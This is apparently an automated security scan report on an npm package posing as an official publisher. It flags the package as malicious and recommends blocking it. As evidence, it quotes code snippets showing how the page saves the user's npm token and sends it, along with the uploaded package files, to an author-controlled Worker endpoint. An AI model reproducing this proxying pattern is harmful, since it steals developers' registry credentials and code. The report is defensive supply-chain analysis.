Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. A user-initiated publish sends an npm bearer token and uploaded package contents to an author-controlled Worker. The Worker can capture both before optionally proxying to npm. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 96.0% - **Started:** 2026-09-14T03:44:36.386Z - **Finished:** 2026-09-14T03:45:40.502Z - **Download time:** 771 ms - **Static scan time:** 14 ms - **AI review time:** 63331 ms - **Total time:** 64116 ms The recorded confidence comes from the underlying analysis.

The Worker can capture both before optionally proxying to npm. - **Trigger:** A user enters an npm token, selects a file, and clicks Publish Link. - **Impact:** Credential theft and exfiltration of uploaded package contents. - **Evidence paths:** app.js - **Review source:** ai\_review - **Reviewed:** 2026-09-14T03:45:40.502Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Token and package upload through a third-party proxy. - **Attack narrative:** The page collects an npm token and a selected package file. In ordinary browser use, it sends the request to an author-controlled Worker URL, with the npm bearer token in the Authorization header and the complete attachment payload in the body. That proxy can retain the credential and package contents while presenting itself as a publishing service. - **Rationale:** The opaque third-party proxy receives an npm credential and uploaded files, creating a concrete credential and data exfiltration path. The absence of install hooks does not remove this user-facing attack behavior. - **Files touched:** app.js, index.html - **Network endpoints:** dawn-salad-6ee1.vihaanb0715.workers.dev, registry.npmjs.org ### Review decision - **Verdict:** Malicious - **Confidence:** 96.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The app stores the entered npm token in browser local storage., The browser path sends publishing requests through an author-controlled Worker endpoint rather than directly to npm., The Worker-bound request includes the npm bearer token and all uploaded package attachments. - **Evidence against:** There are no npm install lifecycle hooks., Network activity requires a user to click the publish button. ## Affected versions and remediation This report applies to @vbansal67/npm-official-publisher@1.0.0. - Avoid installing @vbansal67/npm-official-publisher@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 4. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** index.html - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```html stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1 ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() The app stores the entered npm token in browser local storage. Public source snippet (untrusted): ```javascript if (tokenInput) { const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); ``` ### 6. Medium: Stripped Provenance Metadata - **Category:** Manifest - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() The browser path sends publishing requests through an author-controlled Worker endpoint rather than directly to npm. Public source snippet (untrusted): ```javascript const rawTargetUrl = `https://registry.npmjs.org/${packageName}`; const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const cleanWorkerUrl = WORKER_URL.replace(/\/+$/, ''); const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${packageName.replace('/', '%2F')}` : `${cleanWorkerUrl}?url=${encodeURIComponent(rawTargetUrl)}`; ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() The Worker-bound request includes the npm bearer token and all uploaded package attachments. Public source snippet (untrusted): ```javascript const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @vbansal67/npm-official-publisher - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-09-11T21:26:38.682Z - **Package first seen:** 2026-09-14T03:45:40.502Z - **Package last seen:** 2026-09-30T05:32:57.272Z - **Known versions:** 2 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Web - **Artifact files:** 3 - **Artifact unpacked size:** 9,606 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
